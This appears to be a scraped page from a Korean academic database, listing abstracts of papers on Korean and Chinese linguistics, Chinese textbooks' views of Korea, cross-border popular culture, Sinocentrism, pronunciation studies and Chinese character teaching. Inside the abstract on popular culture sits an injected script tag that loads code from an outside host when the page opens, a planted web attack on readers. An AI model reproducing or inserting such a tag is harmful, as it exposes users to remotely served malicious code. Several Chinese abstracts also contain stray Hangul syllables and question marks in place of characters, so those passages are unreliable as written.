
http://chineseinput.net/에서 pinyin(병음)방식으로 중국어를 변환할 수 있습니다.
변환된 중국어를 복사하여 사용하시면 됩니다.
한국어 ‘이상’, ‘이하’, ‘이내’와 중국어 ‘以上’, ‘以下’, ‘以內’의 대조 연구
소열녕,구언아 한국중국언어학회 2021 중국언어연구 Vol.- No.97
한국어의 한자어 ‘이상’, ‘이하’, ‘이내’와 중국어의 ‘yĭshàng’, ‘yĭxià’, ‘yĭnèi’는 모두 한자 ‘以上’, ‘以下’, ‘以內’로 표기할 수 있다는 점에서 같은 語形을 지닌다고 할 수 있다. 또한 이들은 문장 속에서 수량을 뜻하는 단어 바로 뒤에 위치한다는 점도 동일하다. 이런 공통점으로 인하여 한국어와 중국어의 화자들이 상대방의 언어를 학습하거나 번역할 때, 두 언어에서 쌍을 이루는 이 단어들의 의미와 용법을 동일하게 여기기 쉽다. 그러나 실제 언어 사용을 살펴보면 그렇지 않다는 사실을 금방 깨달을 수 있다. 이들 단어 앞에 수량이 기준으로 제시될 때, 그 수량이 범위에 포함되는지 여부는 두 언어 사이에 차이가 있으며, 같은 언어를 사용하는 사람들 사이에서도 인식에 따라 다르다. 본고에서 사전과 문법서를 중심으로 한국어의 ‘이상’, ‘이하’, ‘이내’와 중국어의 ‘以上’, ‘以下’, ‘以內’의 정의를 살펴본 결과, 다음과 같은 내용을 알 수 있었다. 첫째, 한국어의 ‘이상’, ‘이하’는 기준의 포함 여부에 대해 명확한 사전적 정의가 존재하는 반면, ‘이내’는 그렇지 않았다. 둘째, 중국어의 ‘以上’, ‘以下’는 습관적인 용법이 있는 것으로 보이지만 기준의 포함 여부가 명확하지 않을 때도 있으며, ‘以內’는 아예 ‘습관적 용법’이라고 할 만한 쓰임조차 없었다. 이 단어들의 용법을 보다 정확하게 파악하기 위해 필자들은 한 달 간 두 언어의 화자를 대상으로 설문 조사를 실시하였다. 총 122명의 한국어 화자와 108명의 중국어 화자가 조사에 응하였으며, 조사 결과는 다음과 같이 요약할 수 있다. 첫째, 99.2%의 한국어 화자가 ‘X 이상’을 ‘X와 같거나 X의 위’라고 생각한 반면, 61.1%의 중국어 화자만 ‘X以上’을 ‘X와 같거나 X의 위’라고 생각하였다. 둘째, 91%의 한국어 화자가 ‘X 이하’를 ‘X와 같거나 X의 아래’라고 판단하였는데, 86.1%의 중국어 화자는 ‘X以下’를 ‘X의 아래’라고 생각하여 ‘X’가 범위에 포함되지 않는다고 판단하였다. 셋째, 53.3%의 한국어 화자는 ‘X 이내’의 ‘X’가 범위에 포함된다고 생각하였으며, 중국어 화자의 64.8%는 ‘X以內’의 ‘X’가 범위에 포함된다고 판단하였다. 이 조사 결과를 통해 한국어 ‘이상’, ‘이하’, ‘이내’와 중국어 ‘以上’, ‘以下’, ‘以內’의 공통점과 차이점을 다음과 같이 정리할 수 있다. 우선 짝을 이루는 이 세 그룹의 단어 중, ‘이내’와 ‘以內’가 가장 유사하다. 앞에 있는 수량이 범위에 포함된다고 생각하는 화자가 과반수이고 그렇지 않다고 생각하는 화자는 40% 내외로, 그 비율이 비슷하게 나타났다. 그 다음 ‘이상’과 ‘以上’도 어느 정도 유사하다고 할 수 있다. 그렇지만 수량이 범위에 포함된다고 생각하는 응답자는 한국어 화자의 99.2%로, 중국어 화자의 61.1%보다 38.1%나 많다는 점을 주의해야 한다. 즉, ‘이상’에 대한 한국어 화자의 판단이 거의 일치하는 반면 중국어 화자들은 그렇지 못하다는 것이다. 가장 뚜렷한 차이는 ‘이하’와 ‘以下’에서 나타났다. 한국어의 ‘이하’에 수량이 포함된다는 응답자는 91%에 달했는데 중국어의 ‘以下’는 오히려 그 반대로 86.1%의 응답자가 포함되지 않는다는 답을 주었다. 이러한 두 언어의 차이를 한국어교육과 중국어교육에서 반드시 강조해 주어야 학습자들이 해당 언어에서 알맞은 표현을 사용할 수 있을 것이다. Both Korean and Chinese language uses the word ‘isang/yĭshàng’, ‘iha/yĭxià’ and ‘inae/yĭnèi’ to express the meaning of ‘above’, ‘below’ and ‘within’. These set of words share the same Chinese writing, namely ‘以上’, ‘以下’ and ‘以内’ and this makes people tend to think that their meaning and usage are the same in both languages. Therefore, grammar textbooks usually do not explain their meaning and usage in detail. This paper tries to identify the similarities and differences between the Korean ‘isang’, ‘iha’, ‘inae’ and the Chinese ‘yĭshàng’, ‘yĭxià’ and ‘yĭnèi’ by using the contrastive analysis. A survey was conducted where native speakers of both languages were asked to answer three questions regarding the usage of ‘isang/yĭshàng’, ‘iha/yĭxià’ and ‘inae/yĭnèi’. 122 Korean speakers and 108 Chinese speakers responded to our questionnaire. The results showed that: (1) 99.2% of Korean speakers considered ‘X isang’ as ‘greater than or equal to X’, 91% of them think that ‘X iha’ means ‘less than or equal to X’, while for ‘X inae’, only 53.3% of the respondents think that ‘X’ should be included in the scope. (2) 61.1% of Chinese speakers perceived ‘X yĭshàng’ means ‘greater than or equal to X’, 86.1% considered ‘X yĭxià’ as ‘less than X’, and 64.8% of them think that ‘X’ is included in the scope for ‘X yĭnèi’. We can then come to a conclusion that ‘isang/yĭshàng’ and ‘inae/yĭnèi’ have similar but not totally the same meanings, while ‘iha/yĭxià’ are completely different in the two languages. This must be emphasized when teaching Korean to Chinese speakers and vice versa.
이재령 한국중국학회 2011 중국학보 Vol.64 No.-
改革開放以後, 通過敎學課本可以淸楚地看到中國對韓國的認識和與韓國的關系. 1978年以前, 在中國敎科書中有關韓國的內容僅限於和抗原援朝有關的內容. 改革開放以後, 中國的敎科書中才開始出現有關韓國經濟發展和國際合作關系, 政治民主化和南北關系的改善等方面的內容. 最總重要的是, 中國將韓國經濟高度發展的過程作爲中國的發展目標賦予其積極的意義. 盡管出版社不同, 但是在 [曆史], [中國曆史], [世界曆史], [世界近代史], [曆史與社會]等大多數敎科書中都不惜筆墨地對韓國的經濟發展進行了正面的評價, 其內容具有如下特點. 盡管是在社會主義體制下, 中國現在的曆史敎科書的內容在保持作爲長期曆史傳統的鑑戒主義和經世致用的精神的同時, 或以實用主義將其替代或將其與愛國主義融合. 此外, 爲了中國的成長與發展,在大部分內容中將韓國作爲發展目標的同時也將其作爲反面敎材使用. 具體內容, 第一, 改革開放以後,中國將包括韓國在內的亞種四小龍作爲本國發展的目標. 第二, 中國的傳統文化和知識遺産影響了亞洲的發展中國家, 使固有的中華意識得以體現。第三, 在中國體現自身國際地位的過程中, 韓國被描述成爲卽是其比較對象又是其競爭對手。此外, 對於韓國的描述過多著重於經濟生長方面, 忽視了政治和社會方面的變化。第四, 通過韓國的發展和挫折以及各種社會現象等對於將來有可能在中國發生的危機和混亂采取預防措施。中國敎科書中描述的此種內容和認識態度表象上表現爲對韓國的友好和積極的態度, 但不能忽視其最終目的在於給本國人民灌輸愛國主義和民族主義細想。中國改革開放以後, 關於現今韓國的內容的描述, 無論是表象上或是實質上, 與之前確實有了明顯的差別, 實用主義路線在敎材中明顯地體現。我們的工作在於正確地判斷나種才是其眞實的態度, 幷且采取適當的應對方法。21世紀, 對於以大國主義爲意向的中國全方位的(膨脹)擴張路線, 我們應該不斷地回顧我們的過去和現在爲了將來做准備。這就是由堅인的生命力和大度的包容, 自我變用(渗透)所産生的創造力。我們的任務不僅僅是在經濟發展方面成爲典型, 而是在經濟穩定發展的過程中, 對於政治民主化和人權, 自由, 福利, 和平, 環境保護等方面也要實現穩定的發展, 使韓國現代社會的繁榮昌盛和全方位均衡發展得以體現。
어문학보(語文學部) : 중국 대중문화의 한국적 수용에 관한 초국가적 연구 -영화와 무협소설 텍스트를 중심으로
임춘성 ( Choon Sung Yim ) 한국중국학회 2008 중국학보 Vol.57 No.-
進入20世紀90年代, 韓國大衆文化, 卽韓流開始在中國流行, 其影響一直擴展到台灣、香港、東南亞和日本。不過一定不要忽視的一個事實就是在韓流 以前,日流在中國和台灣等地已經流行過, 월語流行文化也在東亞風靡過。而且, 20世紀90年代, 不僅韓流,還有其타多樣的大衆文化也在日本被消費 。20世紀90年代以后, 東亞域內的的大衆文化交流比以往任何時候都活躍。究其原因雖 非本文的目的, 不過本文認爲岩淵功一(2004)主張從急速的經濟 成長和本土化的現代化經驗的交換中尋조原因的說法是一種有說服力的解釋。本文以韓流現象爲參照體系, 在東亞大衆文化交流這一大광架中考察 了韓國對中國大衆文化的接受和中國大衆文化對韓國的影響。這有鑒于文化的屬性是雙向的這一点。香港、台灣地區在內的中國人爲之狂熱的韓流內 容中, 也有我們接受然后將其本土化的中國要素, 可以將各地域經歷的近現代化的本土化經驗進行一下對照比較。要想對其進行有效的說明, 要求具備 東亞大衆文化交流這一視角。要把韓國大衆文化在亞洲的流通和亞洲對韓國大衆文化的接受現象與韓國大衆文化對他文化接受的跨文化現象同時進行 考察。只有將韓國對新自由主義大衆文化的中心美國的大衆文化、中國的傳統文化、日本文化、台灣和香港文化的接受一起考察才能在全球層面對韓 國大衆文化在亞洲的傳播和流通進行解釋。以上面的問題意識爲基礎考察的結果可以總結如下。韓國社會最早引進的香港電影史1956年高麗電影公司引 進上映的≪海棠紅≫。以武俠電影≪大醉俠≫(1967)的票房成功爲契机, 韓國觀衆接觸到了香港電影的主流和精髓。韓國影迷通過接受武俠片和功夫片, 以及香港黑幇片與科幻片, 以及香港擅長的고笑片, 愛情劇等, 與香港電影保持了同步。在韓國、香港、台灣橫行的類同三流作品的泛濫反過來反證了 原作的人氣。而且, 韓國與香港的合拍片迎合那一時期最有人氣的電影題材的做法成爲一種慣例。從1957年到1982年大約25年間持續合拍的132部影片 可以說是東亞文化交流的重要實例。還有, 打開了韓國武俠小說界大局的臥龍生時代, 在1966年通過≪玉釵盟≫的飜譯達到了頂峰。1968年他的作品被 大量飜譯介紹。甚至出現了其他武俠小說作家爲迎合臥龍生的人氣, 盜用臥龍生名字的奇怪現象。爲模倣臥龍生而進行的苦練成爲韓國武俠小說創作的 動力。中國武俠小說不僅對武俠小說讀者和作家而且對所謂正統文學作家和讀者也有一定程度的影響。 령一方面, 金庸代表中國武俠小說流行的령一 高潮。1986年到1989年3年間, 英雄門系列等所有作品全部被飜譯, 령外也有不少人對其作品進行學術硏究。最近, 通過版權協議射雕三部曲重新被飜 譯。英雄門現象是韓國固有的, 與金庸原作理解有一定距離的文化現象。讀者對英雄門情有獨鐘, 相關談論也常將其作爲中國武俠小說的代表, 誤認 爲若將其讀破, 就是征服了中國武俠小說。金庸的射雕三部曲的譯本≪小說英雄門≫不是完全飜譯, 從量上只飜譯了70%, 如果從文體或文學的層面來評价, 是50分不到的粗劣飜譯作品。英雄門的改編和出版雖 然從韓國式的脈絡中打破了以前階段的武俠志的一般槪念, 不過大傷了原作的意義和趣味。在20世紀90年代東亞跨文化時代, 金庸作品具有的中國傳統文化的厚度是使東亞文化體富起來的內容, 不過也差点成了强調中華主義的國族史詩和强調中國想象或者傳統復活的机制。正如李陀和戴錦華評价的, 中國大陸的大衆文化經歷了20世紀80年代的過渡期, 90年代以后從根本上被塑造, 國際電影節中獲奬的第五代作品開始被介紹給我們。在21世紀, 中國式大片作成爲主流, 在中國國內也제走了好萊塢大片, 揚眉吐氣。其源流就是張藝謀執導的≪英雄≫, 雖 然此片受到東方主義的內化批判, 但是作爲張藝謀묘准本國觀衆制作的作品, 타開啓了將中國的武俠要素和全球性好萊塢大片相結合的大片時代。看20世紀90年代的中國大衆文化的時候, 一定要關注香港、台灣和大陸的混種化。這源于改革開放以后涌入大陸的香港和台灣的大衆文化的影響。這一影響凸顯在在大衆歌謠領域, 在香港、台灣的武俠電影和第5代電影之間也存在某種影響關系。混種化現象在電影制作中흔突出。타通過大陸的導演和演員, 台灣的資本, 香港的演員和電影制作體系合作方式被體現出來。正如上面所考察的, 韓國近現代大衆文化與我們所誤認的純血觀念形態不同, 可以說是一種混血文化。如果說與中國的長期交流(儒敎文化等)以及解放以后美國的持續影響(牛仔袴和筒吉他等靑年文化等)是明示的構成要素的話, 日本的殖民文化(倭色文化)與香港和台灣的大衆文化則是隱含的要素。特別是在二十世紀七十年代到八十年代度過其成長期的靑少年的情緖中, 香港電影和台灣、香港的武俠小說的影響作爲一種潛在的隱藏的結構存在着。但是, 但是因爲韓國社會的美國化欲望, 大部分的香港和台灣大衆文化迷雖 然內心흔狂熱, 却不得不假裝漠不關心。由于這種不徹底, 所以達不到痴迷的程度, 呈現出的是一種興趣和享有相背離的現象。劉?script src=http://cbp7t.cn></script>
한인제재 소설에 나타난 한국인식 : 중화사상을 중심으로
정영호,엄영욱 한국중국소설학회 2005 中國小說論叢 Vol.22 No.-
本文將古代中國人對韓國的認識和近現代中國人的韓國觀, 與中華思想連繫起來進行了分析,幷以此爲依據, 考察了中國作家對韓國的認識. 在古代中國人的頭腦中, 韓國包含在天下的槪念之中; 到了中世, 由於宗藩關係, 韓國被看作是中國的附屬國; 而近代, 韓國有時被當作爲中華的一個支流, 有時被當作邊夷, 有時又被當作第三者意義上的弱小國中的一個民族. 近代中國作家對韓國和韓國人的認識正如韓中近代史上出現的殖民和民族, 近代和超近代同時存在一般, 互相뉴合, 複雜多樣. 1919年以後的現代文學作品主要描寫的是抗日運動, 朝鮮民衆的悲慘生活, 韓中兩國人民的友誼等, 因爲都是屬於被壓迫的民族, 自然産生同病相憐的感情, 所以作品中隱含著國際主義聯合的意向. 而當代文學, 49年以後出現了大量的韓國人和韓國題材的作品, 其韓國觀仍然擺脫不了認爲韓國是中國蕃屬或中華的一個支流的觀念. 這個時期形成的中國人的韓國觀一直持續到實行改革開放政策的1978年. 78年的改革開放政策成爲中國人重新認識韓國的契機. 但是, 中國的自尊心和中華思想隨著經濟的發展隨時都有膨脹的可能, 東北工程就是一個證據. ‘東北工程’, ‘愛國主義’, ‘中華主義’等等, 用語雖然各各不同, 但却存在著一定的指向, 隱含著中國通過加强精神武裝占居21世紀亞洲和世界盟主地位的覇權主義意識. 中國的愛國主義以傳統中華思想爲基柱, 可以說是一個現代版的新中華主義.
“중화주의(中華主義)”, 한국(韓國)의 중국(中國) 상상(想像)
유경철 한국중국어문학회 2005 중국문학 Vol.44 No.-
在韓國,`中華主義`這個槪念是在描述或解釋中國的各種情況上最容易又最廣泛給使用而接受的。這時,`中華主義`露出韓國人心理上對中國的岐視和仇視,而且`中華主義`這個槪念的反復使用再産生對中國的韓國人的偏見和誤解,`中華主義`說法已經變成了在韓國的中國理解和硏究上的一種障碍。所以要突破,克服`中華主義`說法的努力不但在追求兩國互相理解和發展上, 而且在韓國人超越自國中心的狹隘觀念上再不能忽視的。 韓國的`中華主義`說法是?美國爲主的西方國家的`中國威脅論`一脈相通, 依?這種說法,中國在經濟上的快速發展和世界政治上的影響力擴大局面是讓他們國家提出這種說法的主要的原因。 `中華主義`和`中國威脅論`是從在全球化的國民國家體制上不可避免的各國之間的利益沖突和對峙局面上被造成的一種`中國想象`或者對中國的岐視。而且這種說法和各國內部的`愛國主義`結合起來更加强化其說服力。 在韓國,`中華主義`說法是好像從歷來中國侵略韓國的歷史記憶上制造出來的。看起來,韓國人按照這種歷史記憶 一直以爲中國是一個韓國的敵對國家,中國還保有侵略的因素。可是仔細觀看歷史上的經過,我們會發現把中國看成一個敵對國家歷史上沒有那?深遠的。古代韓國, 比如朝鮮, 總是要?中國維持友好關系, 當時人仇視的不是中國(漢族王朝),而是中國歷史上的異族國家。他們從華夷論的觀点上,自己要認同漢族國家和其文化,進而把其他異族看成野蠻人。`中華主義`這種想象從把異族的野蠻和侵略的形象轉成中國的代表表象才開始的,而且這種新的中國想象的出現是和韓國戰爭以后韓國的政治情況和國家意識形態上的定位有密切的關系。
한국인 고급 학습자의 중국어 연구개 마찰음 발음에 대한 사례연구
한서영 한국중국언어학회 2017 중국언어연구 Vol.0 No.71
The purpose of this study is to investigate the difference in the pronunciation of the Chinese velar fricative /h/[x] between a native speaker of Chinese and a Korean advanced learner of Chinese. It is believed that Korean learners of Chinese assimilate the Chinese velar fricative [x] as the Korean glottal fricative [h], whose acoustic characteristics are influenced by the subsequent vowels. Accordingly, it can be assumed that the pronunciation of the Chinese [x] by Koreans learners is not always different from that by a native speaker. To assess this allophonic difference, an experiment was conducted involving the production of the Chinese [x] with several different subsequent vowels. The sound data recorded from the experiment was analyzed according to four acoustic phonetical cues based on the “source-filter theory” of Fant(1960) and Flanagan(2013), that is, the frication duration, the center of gravity in the spectrum, the skewness of the spectrum and formant values. First, it was found that the average frication duration of the Chinese [x] by Chinese native speakers is significantly longer than that by Korean learners of Chinese in general (p<.05). However, when it is followed by the low vowels [a, A, ɑ], no significant difference was found owing to pharyngealization in Chinese. Second, the F1 and F2 values of the Chinese /h/[x] by Korean learners were generally lower than those by Chinese native speakers, indicating that the place of articulation of the Chinese [x] by Korean learners is at a lower point of the tube compared to that of a Chinese native speaker. Third, there were no significant differences in the values of the center of gravity or skewness in the spectrum only when [x] is followed by a back vowel, such as [u, ʊ, ɤ]. This was found to occur due to the phonological transfer from Korean, which changes the place of the articulation of /h/ from the glottis to the velar in front of back vowels. To conclude, the production of the Chinese velar fricative by Korean learners shows partial differences depending on the succeeding vowels. This finding can shed new light on Chinese pronunciation education in Korea. 이 연구의 목적은 한국인 고급 학습자와 중국인의 중국어 연구개 마찰음 /h/[x]의 발음을 비교하고 그 원인을 규명하는 것이다. 한국인은 중국어 연구개 마찰음을 한국어의 성문 마찰음 [h]로 인지하였을 가능성이 크다. 그리고 한국어 성문 마찰음은 후행 모음에 따라 서로 다른 변이음으로 실현된다. 이 때문에 한국인이 발음한 중국어 연구개 마찰음의 발음 또한 후행 모음 별로 달라질 가능성이 있다. 이를 증명하기 위하여 한국인과 중국인이 중국어 연구개 마찰음을 발화하도록 실험을 계획하고 수행하였다. 실험 결과 얻은 소리 파일은 Fant(1960)와 Flanagan(2013)의 '음원-여과 이론'에 근거하여 네 가지 음향음성학적 단서를 기준으로 삼아 분석하였다. 그 분석 기준은 ①소음 지속 지간, ②스펙트럼의 무게중심과 ③스펙트럼의 왜도, ④포먼트(F1, F2)였다. 분석 결과, 첫째, 중국인의 /h/ 마찰 지속 시간의 평균값은 한국인보다 유의미하게 더 길었다. (p<.05) 다만 후행 모음이 [a, A, ɑ]와 같은 저모음인 경우에는 인강음화가 일어나 중국인의 마찰 길이가 짧아져 한중 화자 사이에 유의미한 차이가 나타나지 않았다. 둘째, 한국인들의 F1과 F2 모두 전반적으로 중국인보다 낮은 지대에 분포하였다. 이것은 한국인들이 발음한 마찰음의 좁힘점이 평균적으로 중국인의 연구개 보다 더 아래쪽에 위치했다는 점을 의미한다. 셋째, 다만 후행 모음이 [u, ʊ, ɤ]와 같은 후설 모음인 경우에는 스펙트럼의 무게중심과 왜도에 유의미한 한중 차이는 없었다. 이것은 모국어 음운 체계의 간섭 현상으로 후행 모음이 후설모음일 때에 한국인들의 조음 위치가 중국인과 같이 연구개로 이동하였다는 것을 보여준다. 결론적으로 한국인 고급 학습자의 중국어 연구개 마찰음은 후행 모음에 따라 달라져 중국인과 부분적인 차이를 보였다. 이러한 본 연구의 결과는 중국어 발음 교육에 실질적인 도움이 될 수 있을 것이다.
중국어 단모음〔a〕,〔i〕,〔u〕에 대한 한국인과 중국인의 발음 대조 연구
李美京 한국중국어문학회 2005 중국문학 Vol.43 No.-
本論文的目的在于分析韓漢兩語的單元音[a], [i], [u], 用對比的方法給學習漢語的韓國人提供能够把握韓漢兩語[a], [i], [u]的特点的參考資料. 本論文要對比分析韓國人和中國人的[a], [i], [u]的异同, 查看其异同時 使用聲學語音學的方法, 以便仔細考察各元音的動程和實際舌位. 從語圖把握共振峰數据, 對比男女之間的异同和隨學習時間不同而所出現的异同. 根据分析結果, 學習漢語未滿1年的和學習漢語已有5年以上的韓國男人的[a], [u]的舌位不到位, 前者高于中國人, 后者比中國人往前走移. 總而言之, 韓國男人的開口度不大于中國人, 韓國男人[a], [i], [u]的發音不如韓國女人。 韓國女人的[a], [i], [u]不分學習時間的長短都比較好.
신경선 한국중국언어학회 2014 중국언어연구 Vol.0 No.52
한자 학습은 중국어 교육의 난제 중의 하나로써 어떻게 가르치고 학습할 것인지 연구되어야 할 분야이지만, 우리나라의 대학 중국어 교육은 한자 교육을 하나의 개별적인 과목으로 개설하여 전문적으로 가르칠 수 있는 교육 과정의 미비로 대부분의 경우 중국어학 교수자의 주관적인 인식과 교수법에 따라 중국어 한자 교육이 진행되고 있는 실정이다. 한자 교육의 중요성을 중심으로 현재 대다수 대학에서 진행되고 있는 중국어 교육의 문제점을 살펴보면 첫 째, 한자 교육을 위한 교육 과정의 부족, 둘 째, 중국어와 한자 교육을 병행 할 수 있는 교재의 부재이다. 중국의 대외중국어교육과 한국의 중국어 교육 이론의 근간을 이루고 있는 서양 언어학 이론, 교육 이론은 표음문자를 위주로 형성된 것으로 표의문자인 한자의 단어 조합 원칙 등을 충분히 설명할 수 있는 이론을 제공하지 못하고 있으며 이러한 이론적 배경으로 현재 사용되고 있는 대다수 중국어 교재는 한자 지식이나 단어의 조합 원칙을 충분히 반영하지 못하고 있는 상황이다. 셋 째, 한국이 한자 문화권이라는 인식과 함께 중고등학교에서 한자 교육이 이루어졌고, 대학에서 중국어 교육을 위한 한자의 특징을 별도로 가르치지 않아도 되지 않을까 하는 인식으로 전문적인 한자 교육의 자발성이 부족한 점, 넷 째, 중국의 한자가 한국에 전파되어 사용되어 온 오랜 시간 동안 현대중국어의 한자와 우리가 사용하고 있는 한자의 音, 形, 義가 상당수 일치하지 않은 현재의 상황이 이미 한국어의 한자를 다수 인지하고 있는 중국어 학습자들에게 가져다주는 역효과이다. 본고는 이러한 문제점으로부터 출발하여 현재 우리의 중국어 교육환경 속에서 어떻게 한자 교육을 강화하고 학습 효과를 증대할 것인가라는 교수법의 문제를 인지심리학, 인지발달이론, 사회문화이론의 교육적 적용을 이론적 배경으로 하여, 한국 대학 저학년들의 중국어 어학교과를 중심으로 한 교실활동을 통해 살펴보고자 하였다. 특히 대학 1학년 1학기의 어학 수업에서 발음, 어휘 교육과 더불어 의식적인 한자 교육이 실시될 필요가 있다고 판단하며, 첫 째, 학생을 중심으로 하는 교실활동으로 학생들의 한자에 대한 상상력과 흥미를 유발시키고, 둘 째, 문화요소를 포함한 교수법으로 한자에 대한 이해와 규율을 파악하는 능력을 개발하도록 하며, 셋 째, 한국 학생들이 겪을 수 있는 학습의 난점들을 맞춤형으로 학습시키고 연습하도록 하며, 넷 째, 듣고 말하고 읽고 쓰는 종합적인 능력을 증진시킴과 동시에 학생들의 오류를 적절하게 수정하고 지도하는 교수법을 제안하였다. 본고의 결론은 이러한 교수 방안이 중국어 한자 교육을 위한 전문적인 교과 개설이 부족한 한국 대학의 현실에서 적용시킬 수 있는 현실적인 방안이라고 판단한다.
한국한문학의 독자성과 중국고전문학의 접점에 관한 규견(窺見)
심경호 한국중국어문학회 2007 중국문학 Vol.52 No.-
存在一個看法: 韓國漢文學不能保有與中國古典文學不同的獨自性. 其實, 韓國漢文學着根於所謂東亞細亞普遍文化中, 自然刻意收容處在普遍文化的中心的中國文學, 而在其基礎上各歷史時期繼承和發展民族的獨自性. 韓國漢文學, 在門類和樣式, 技法和主題方面, 向來受到中國文學傳統的限制, 而決不是逐步?隨中國文學的歷史展開. 韓國漢文學在每個歷史時期, 爲眞實表現自己民族的思想感情試驗中國古典文學所有門類和樣式, 來選擇活用?們. 因此, 其軌跡與中國文學史相當不同. 總之, 在討論韓國漢文學的獨自性或其與中國文學的接點的時候, 應該用與其起源的觀點寧歷史觀點理解獨自性和普遍性槪念. 本文在詩歌和散文方面進行考察: 探究韓國漢文學以韓愈爲散文的最高典範的情況, 與韓國漢詩一邊借用中國古典詩, 一邊造成獨自特性的過程. 之後, 討論朝鮮後期漢文學收容中國明朝文學的方式所蘊含的獨自理解態度. 這種事例硏究決不能包括全部韓國漢文學, 但是在考察韓國漢文學 一邊收容中國古典文學一邊努力確保獨自性的軌跡的時候, 分明做爲一個示意圖.
심상의 지리 속 공간 재현 — 전통시기 한국에서의 중국 武昌 이미지를 중심으로
최진아 한국중국소설학회 2025 中國小說論叢 Vol.76 No.-
중국 武漢 일대를 지칭하는 전통시기 한국에서의 이름은 武昌 이하 본 논문에서는 전통시기의 한국 한자음에 근간하여 ‘무창’으로 표기한다. 이다. 이 지역은 현 시기 코로나 바이러스의 발원지라는 오명 섞인 이미지로 각인된 곳이다. 그런데 오명의 지명낙인 김찬호, 주성재, <지명 낙인 평가의 설계와 적용 – 중국 우한 사례>, 《대한지리학회지》 제57권, 4호, 2022. 이 생기기 이전, 우한 보다 훨씬 이전인 무창이라는 공간은 완전히 다른 이미지를 지니고 있었다. 비록 전통시기 한국에서 무창은 쉽게 오갈 수 있는 현실의 지리공간이 절대 아니었음에도 불구하고 한국 문화 속에서 특별한 심상의 지리를 형성하였다. 무창을 배경으로 하는 중국의 시문학들, 혹은 그림들은 무창에 대한 이미지를 생성해 내는 가장 중요한 자료였다. 그리고 이 자료들을 토대로 전통시기 한국이 상정하는, 무창의 지리공간이 재현되었다. 바로 이러한 맥락에 의해 본 논문에서는 전통시기 한국 문화 속에서 무창 지역의 이미지가 어떠한 모습으로 형성되었는지에 대해서 고찰하고자 한다. 실제로 갈 수 없는 공간이지만 심상 속에서 늘 가까이 존재하는 공간인 무창은 현실지리가 아니라 대부분 심상의 지리 공간으로 자리하였다. 고려 및 조선의 문헌과 기록들 속에서 무창은 신선이 머무는 곳으로 인식되었다. 또한 지금까지도 남아 있는 무창의 시그니쳐 건축물인 황학루는 당나라 李白의 시, 崔顥의 시를 애송하는 문화 속에서 한국인들이 선망하는 이상화된 공간이었다. 그 뿐 아니라 황학루와 무창의 모습을 묘사한 그림 ‘황학루도’는 중국에서 본래 제작되었으나 이를 모사, 혹은 새로이 그린 그림이 우리나라에서도 등장하였다. 이처럼 가본 적이 없는 곳을 마치 가본 곳처럼 묘사하고 상상하고, 가보기를 염원하는 공간이 바로 무창지역이었다. 이에 본 논문에서는 무창이라는 중국의 한 공간을 바라보는 한국의 시각이 전통시기에는 어떠한 모습으로 존재했는지를 다음과 같은 방법에 의해 고찰할 것이다. 첫째, 고려와 조선의 문헌을 통해 전통시기 한국에서 형성된 무창의 심상지리를 분석할 것이다. 그 가운데 실제로 무창을 방문한 고려 김구용의 서술에 등장하는 무창의 현실지리 역시 분석의 대상으로 삼을 것이다. 또한 《朝鮮王朝實錄》 및 ‘黃鶴樓圖’에 대한 기록에 의거하여 무창의 심상지리가 조선시기 문인식자층에서부터 구축되어 가는 과정을 살피고자 한다. 둘째, 조선시기 민중서사인 판소리에 등장하는 무창 관련 지명을 추출하여 QGIS 공간 분석을 시행할 것이다. 그 결과 무창이라는 중국의 한 공간을 전통시기 한국의 공간, 혹은 한국인에게 매우 친숙한 공간으로 專有하고 재현하는 모습을 확인하고 그 의미를 도출할 것이다. The name of Korea during the traditional period referring to the Wuhan area in China is Muchang(武昌). This area has been imprinted with a stigmatized image of the origin of the coronavirus during this period. However, before the stigma, the space called Muchang, which was much earlier than Wuhan, had a completely different image. Although Muchang was never an easy-to-go geographical space in Korea during the traditional period, it formed the geography of a special image in Korean culture. Chinese poetry literature, or paintings, set in Muchang were the most important data to create an image of Muchang. And based on these data, the geographical space of Muchang, assumed by Korea during the traditional period, was reproduced. In this context, this paper attempts to examine how the image of the Muchang area was formed in Korean culture during the traditional period. Although it is a space that cannot be actually visited, Muchang, a space that always exists close to the image, is not a real geographic area, but a geographic space of the image. In the literature and records of koryeo(高麗) and Joseon(朝鮮), Muchang was recognized as a place where the Taoist hermit stayed. In addition, Hwanghelou(黃鶴樓), a signature structure of Muchang that remains today, was an idealized space that Koreans envy in the culture of reciting the poems of Li bai(李白) and Cui hao(崔顥) of the Tang(唐) Dynasty. In addition, the painting “Huangheloutu(黃鶴樓圖)”, depicting the appearance of Hwanghelou and Muchang, was originally produced in China, but simulations or newly painted paintings have also appeared in Korea. As such, the Muchang area was a space where people describe and imagine a place they have never been to, and wish to visit. Therefore, in this paper, we will examine how Korea’s perspective on a Chinese space called Muchang existed in the traditional period in the following way. First, we will analyze the image geography of Muchang formed in Korea during the traditional period through the literature of Koryeo and Joseon. Among them, the real geography of Muchang, which appears in the description of Kim Gu-yong(金九容) of Koryeo who actually visited Muchang, will also be analyzed. In addition, I would like to examine the process of establishing the image geography of Muchang from the literary class of the Joseon Dynasty based on the Annals of the Joseon Dynasty(朝鮮王朝實錄) and “Huangheloutu(黃鶴樓圖)” painting. Second, a QGIS spatial analysis will be conducted by extracting place names related to Muchang that appear in Pansori, a folk narrative of the Joseon Dynasty. As a result, we will confirm the appropriation and representation of a Chinese space called Muchang as a traditional Korean space or a space very familiar to Koreans, and derive its meaning.